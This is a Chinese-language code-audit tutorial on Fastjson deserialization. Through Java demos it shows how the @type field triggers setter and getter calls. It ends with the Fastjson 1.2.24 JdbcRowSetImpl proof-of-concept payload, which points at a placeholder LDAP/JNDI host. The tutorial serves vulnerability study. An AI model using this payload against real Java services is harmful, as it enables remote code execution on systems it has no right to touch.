代码审计之Fastjson利用链
写一个demo
package cn.anger.fastjsontest.demos.web;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class FastjsonController {public static void main(String[] args) {//利用Fastjson去解析变量数据String str="{\"name\":\"anger\",\"age\":18}}";JSONObject data=JSON.parseObject(str);System.out.println(data);}
}
- 先写一个demo,这里主要是利用Fastjson去解析变量数据
这里将这个语句换成这个:
package cn.anger.fastjsontest.demos.web;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class FastjsonController {public static void main(String[] args) {//利用Fastjson去解析变量数据String str="{\"name\":\"anger\",\"age\":18}";
// JSONObject data=JSON.parseObject(str);String userStr = "{\"@type\":\"cn.anger.fastjsontest.demos.web.User\",\"age\":22,\"name\":\"anger\"}";JSONObject data=JSON.parseObject(userStr);System.out.println(data);}
}
这里输出结果就是anger和22
但是前面的内容没有了
这里我将这个user类中的默认set,getname类输出,接着在尝试打印结果
这时候就会出现这个打印的结果
所以这个时候将 userstr中的参数减少,那么执行的类的方法也会减少,只会直接执行其中的对应类
那么也就说明:传入其他类解析后默认执行set get类方法
接着使用Fastjson1.2.24这个版本的poc来进行分析:
还是先需要启动jndi注入命令:
然后需要再demo中修改代码:
package cn.anger.fastjsontest.demos.web;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class FastjsonController {public static void main(String[] args) {//利用Fastjson去解析变量数据String str="{\"name\":\"anger\",\"age\":18}";
// JSONObject data=JSON.parseObject(str);String userStr = "{\"@type\":\"cn.anger.fastjsontest.demos.web.User\",\"age\":22}";//恶意pocString Pocstr = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://x.x.x.x:1389/m6pqb\", \"autoCommit\":true}\n";JSONObject data=JSON.parseObject(Pocstr);System.out.println(data);}
}
<